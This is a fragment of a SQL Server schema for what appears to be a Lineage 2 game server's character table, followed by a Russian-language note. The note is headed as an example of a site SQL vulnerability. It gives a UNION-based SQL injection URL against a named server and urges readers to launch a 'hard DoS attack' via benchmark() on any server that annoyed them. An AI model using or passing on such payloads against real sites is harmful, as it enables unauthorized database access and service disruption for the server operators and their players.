[quest_flag] [binary](32) NOT NULL CONSTRAINT [DF_user_data_quest_flag]  DEFAULT (0x00),
[nickname] [nvarchar](50) COLLATE Korean_Wansung_CI_AS NULL,
[power_flag] [binary](32) NOT NULL CONSTRAINT [DF_user_data_power_flag]  DEFAULT (0x0000000000000000000000000000000000000000000000000000000000000000),
[pledge_dismiss_time] [int] NOT NULL CONSTRAINT [DF_user_data_pledge_manage_time]  DEFAULT ((0)),
[pledge_leave_time] [int] NOT NULL CONSTRAINT [DF_user_data_pledge_leave_time]  DEFAULT ((0)),
[pledge_leave_status] [tinyint] NOT NULL CONSTRAINT [DF_user_data_pledge_leave_status]  DEFAULT ((0)),
[max_hp] [int] NOT NULL CONSTRAINT [DF_user_data_max_hp]  DEFAULT ((0)),
[max_mp] [int] NOT NULL CONSTRAINT [DF_user_data_max_mp]  DEFAULT ((0)),
[quest_memo] [char](32) COLLATE Korean_Wansung_CI_AS NULL,
[face_index] [int] NOT NULL CONSTRAINT [DF_user_data_face_index]  DEFAULT ((0)),
[hair_shape_index] [int] NOT NULL CONSTRAINT [DF_user_data_hair_shape_index]  DEFAULT ((0)),
[hair_color_index] [int] NOT NULL CONSTRAINT [DF_user_data_hair_color_index]  DEFAULT ((0)),
[use_time] [int] NOT NULL CONSTRAINT [DF_user_data_use_time]  DEFAULT ((0)),
[temp_delete_date] [smalldatetime] NULL,
[pledge_ousted_time] [int] NOT NULL CONSTRAINT [DF_user_data_pledge_ousted_time]  DEFAULT ((0)),
[pledge_withdraw_time] [int] NOT NULL CONSTRAINT [DF_user_data_plwdge_withdraw_time]  DEFAULT ((0)),
[surrender_war_id] [int] NOT NULL CONSTRAINT [DF_user_data_surrender_war_id]  DEFAULT ((0)),
[drop_exp] [int] NOT NULL CONSTRAINT [DF_user_data_drop_exp]  DEFAULT ((0)),
[old_x] [int] NULL,
[old_y] [int] NULL,
[old_z] [int] NULL,
[subjob_id] [int] NULL,
[ssq_dawn_round] [int] NULL,
[cp] [float] NOT NULL CONSTRAINT [DF__user_data__cp__3B969E48]  DEFAULT ((0)),
[max_cp] [float] NOT NULL CONSTRAINT [DF__user_data__max_c__3C8AC281]  DEFAULT ((0)),
[ST_hair] [int] NOT NULL CONSTRAINT [DF__user_data__ST_ha__3D7EE6BA]  DEFAULT ((0)),
[subjob0_class] [int] NOT NULL CONSTRAINT [DF__user_data__subjo__38B00FFC]  DEFAULT ((-1)),
[subjob1_class] [int] NOT NULL CONSTRAINT [DF__user_data__subjo__39A43435]  DEFAULT ((-1)),
[subjob2_class] [int] NOT NULL CONSTRAINT [DF__user_data__subjo__3A98586E]  DEFAULT ((-1)),
[subjob3_class] [int] NOT NULL CONSTRAINT [DF__user_data__subjo__3B8C7CA7]  DEFAULT ((-1))
                                                      Пример SQL уязвимости в сайте.
http://la2online.ru/db/item.php?id=-1 union select 1,2,3,user()/* таже фигня что и с инькой для элморе...
Но bencmark никто не отменял, так что если вам насолил какой-нибудь из этих серверов, можете устроить ему жесткую ДОС-атаку